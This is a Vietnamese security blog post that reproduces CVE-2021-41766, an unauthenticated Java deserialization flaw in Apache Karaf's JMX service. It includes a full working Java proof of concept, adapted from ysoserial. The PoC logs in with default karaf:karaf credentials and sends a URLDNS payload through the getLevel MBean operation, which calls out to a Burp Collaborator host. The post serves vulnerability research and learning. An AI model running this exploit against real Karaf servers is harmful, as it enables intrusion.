Xét ở góc độ cách khai thác của CVE này thì đây không phải là một CVE thú vị và đáng được lưu tâm. Tuy nhiên, trong quá trình nghiên cứu CVE này, mình gặp khá nhiều khó khăn để tái hiện và phân tích lỗi này. Tính tới thời điểm viết bài thì chưa có PoC cho CVE-2021-41766, cũng như bài phân tích về CVE này, nên có thể coi đây là bài phân tích 1-day (đầu tiên) của mình
0x01 Tổng quan về CVE-2021-41766
Theo như mô tả trên cơ sở dữ liệu của NIST về CVE-2021-41766, CVE này liên quan tới Java Management Extension (JMX). Vì vậy, trước khi đi sâu hơn vào CVE này, các bạn nên tìm hiểu thêm về JMX và MBean service nữa nhé. Mình sẽ để các link mình đã dùng để tìm hiểu ở cuối bài.
Thông tin mấu chốt giúp mình tái tạo PoC cho CVE này là
Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack.
Như vậy, mình có thể rút ra mấy ý như sau:
- Trước đó, có triển khai JMX mặc định (default JMX implementation) từng bị tấn công bởi một kỹ thuật X, dẫn tới bị khai thác lỗ hổng unauthenticated deserialization. Default JMX implementation đã vá lỗi này.
- Tuy nhiên, khi Apache Karaf triển khai JMX, Apache Karaf không áp dụng các cơ chế để vá lỗi trên, dẫn tới phần triển khai JMX của Apache Karaf có thể bị tấn công bởi kỹ thuật X. Điều đó nghĩa là, nếu mình tìm được kỹ thuật X đã từng dùng để khai thác cơ chế triển khai JMX mặc định, thì mình cũng có thể khai thác triển khai JMX của Apache Karaf với cơ chế tương tự!
(Và bằng một phép màu nào đó mình mất gần 1 tuần mới để ý đến đoạn này 😭)
0x02 Dựng môi trường debug cho Apache Karaf
Thực sự đến giờ mình vẫn chưa hiểu rõ Apache Karaf là gì, nên mình sẽ chỉ viết lại quá trình dựng môi trường debug như nào thôi đã vậy.
Theo như Apache Karaf Advisory cho CVE-2021-41766, các phiên bản trước 4.3.6 sẽ bị ảnh hưởng bởi lỗi này. Vì vậy, mình tải Apache Karaf phiên bản 4.3.5 để dựng môi trường debug. Source code của Apache Karaf mình download trên github https://github.com/apache/karaf/releases/tag/karaf-4.3.5
Làm theo hướng dẫn của Xixia Yipintang, mình mở file binkaraf.bat
lên và thêm dòng set KARAF_DEBUG=true
Chạy file binkaraf.bat
. Để ý Apache Karaf nhận kết nối cho debug từ xa thông qua cổng 5005
Để debug Apache Karaf từ xa, mình dùng Remote JVM Debug của InteliJ IDEA. Cấu hình mặc định của Remote JVM Debug (mình đặt tên là remoteDebug) đã kết nối tới cổng 5005, vì vậy mình để nguyên.
Chạy remoteDebug trong IDEA. Nếu hiện thông báo kết nối như hình dưới dây tức là đã set up debug cho Apache Karaf thành công
0x03 Phân tích lỗ hổng
Như đã phân tích ở phần 1, mình bắt đầu đi tìm hiểu các cách khai thác JMX Implementation và tìm thấy một bài khá chi tiết https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/. Các bạn có thể tự đọc mục Deserialization on the JMX/MBean level rồi tự phân tích lỗ hổng này nhé.
Có thể một ngày đẹp trời nào đó (sau khi viết xong đồ án) thì mình sẽ quay lại để bổ sung nốt phần này.
0x04 Tái hiện lỗ hổng
Cách khai thác lỗ hổng này đã được commit ở ysoserial/exploit/JMXInvokeMBean.java
. Để đơn giản quá trình khai thác, mình mở nguyên ysoserial
project trong IDEA, rồi sửa lại file JMXInvokeMBean.java
để khai thác CVE-2021-41766.
Kết nối đến Apache Karaf server
Để sử dụng JMXInvokeMBean
, mình cần 4 đối số
host
: địa chỉ máy chủ Apache Karaf. Ở đây, mình tái hiện lỗ hổng trên localhost nênhost
cũng làlocalhost
.port
: cổng JMX RMI service của máy chủ Apache Karaf. Cổng dịch vụ mặc định của RMI luôn là1099
payload_type
: tên loại ysoserial payload dùng để khai thác lỗ hổng deserialization. Trong bài này, mình sử dụng URLDNS payloadpayload_arg
: các đối số (argument) của loại ysoserial payload tương ứng. Ở đây mình lấy URL của Burp Collaborator Client.
Các thông tin về host
và port
sẽ được dùng để khởi tạo một JMXServiceURL
. serviceUrl
của Apache Karaf được cấu hình ở file etc/org.apache.karaf.management.cfg
, có giá trị mặc định là service:jmx:rmi:///jndi/rmi://localhost:1099/karaf-root
.
Tuy nhiên, khi mình thử connect tới Apache Karaf server thì chương trình báo lỗi về yêu cầu thêm credentials. Credentials của Apache Karaf được lưu ở file etc/users.properties
, có giá trị mặc định là karaf:karaf
.
Với tất cả các thông tin trên, mình có thể sửa code trong JMXInvokeMBean.java
để kết nối đến JMX RMI service của Apache Karaf server. Đoạn code mình sửa các thông tin liên quan để kết nối tới Apache Karaf như sau:
args =newString[4];
args[0]="localhost";
args[1]="1099";
args[2]="URLDNS";
args[3]="http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";HashMap environment =newHashMap();String[] credentials =newString[]{"karaf","karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);JMXServiceURL url =newJMXServiceURL("service:jmx:rmi:///jndi/rmi://"+ args[0]+":"+ args[1]+"/karaf-root");JMXConnector jmxConnector =JMXConnectorFactory.connect(url, environment);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
Khai thác JMX RMI service của Apache Karaf: getLevel
Apache Karaf có 1 JMX service khá giống với getLoggingLevel
của JMX service mặc định là getLevel
. Mở jconsole
lên vào connect vào Apache Karaf, mình có thể thấy hàm này cũng nhận argument kiểu String
và cũng trả về log level.
Đến đoạn này, mình gần như là sẽ mô phỏng (nói dân dã thì gọi là bắt chước) cách khai thác getLoggingLevel
của JMX mặc định. Một cách dễ dàng, mình có được các thông tin của (MBean) service này như sau:
- (MBean) service name:
org.apache.karaf:type=log,name=root
- Operation name:
getLevel
Với các thông tin trên, mình sửa nốt phần code để gửi malicious object tới Apache Karaf trong JMXInvokeMBean.java
như sau:
// create the payloadObject payloadObject =Utils.makePayloadObject(args[2], args[3]);ObjectName mbeanName =newObjectName("org.apache.karaf:type=log,name=root");
mbeanServerConnection.invoke(mbeanName,"getLevel",newObject[]{payloadObject},newString[]{String.class.getCanonicalName()});
CVE-2021-41766 PoC
Sau khi sửa code như 2 phần trên, mình có được file PoC của CVE-2021-41766 như sau:
publicclassJMXInvokeMBean{publicstaticvoidmain(String[] args)throwsException{// if ( args.length < 4 ) {// System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");// System.exit(-1);// }
args =newString[4];
args[0]="localhost";
args[1]="1099";
args[2]="URLDNS";
args[3]="http://8x6r511e351r0z6px6oavfxdu40vok.burpcollaborator.net";HashMap environment =newHashMap();String[] credentials =newString[]{"karaf","karaf"};
environment.put (JMXConnector.CREDENTIALS, credentials);JMXServiceURL url =newJMXServiceURL("service:jmx:rmi:///jndi/rmi://"+ args[0]+":"+ args[1]+"/karaf-root");JMXConnector jmxConnector =JMXConnectorFactory.connect(url, environment);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject =Utils.makePayloadObject(args[2], args[3]);ObjectName mbeanName =newObjectName("org.apache.karaf:type=log,name=root");
mbeanServerConnection.invoke(mbeanName,"getLevel",newObject[]{payloadObject},newString[]{String.class.getCanonicalName()});//close the connection
jmxConnector.close();}}
Sau khi chạy file PoC, Burp Collborator Client log được 1 lookup request, cho thấy lỗ hổng java deserialization đã bị khai thác thành công
0x05 Kết luận
Tuy đây là 1 CVE sử dụng cơ chế khai thác cũ nhưng để tái hiện CVE này đòi hỏi khá nhiều kiến thức mới lạ (ít nhất là đối với mình). Kể ra bài này mình cũng không phải tự viết PoC mà chỉ sửa lại mấy cái PoC cũ cho khớp nên không hẳn là 1 bài 1-day hoàn chỉnh. Mong là sáp tới mình có thể viết những bài phân tích 1-day theo đúng nghĩa của nó
Nguồn tham khảo
- https://www.baeldung.com/java-management-extensions
- https://subscription.packtpub.com/book/application-development/9781783985081/1/ch01lvl1sec13/using-jmx-to-monitor-and-administer-apache-karaf
- https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/
- https://www.google.com/url?q=https://blog.csdn.net/mn960mn/article/details/47810981&sa=D&source=editors&ust=1651227249040661&usg=AOvVaw3QOSNDG0bA3H79fYAmVLdq
Nguồn: viblo.asia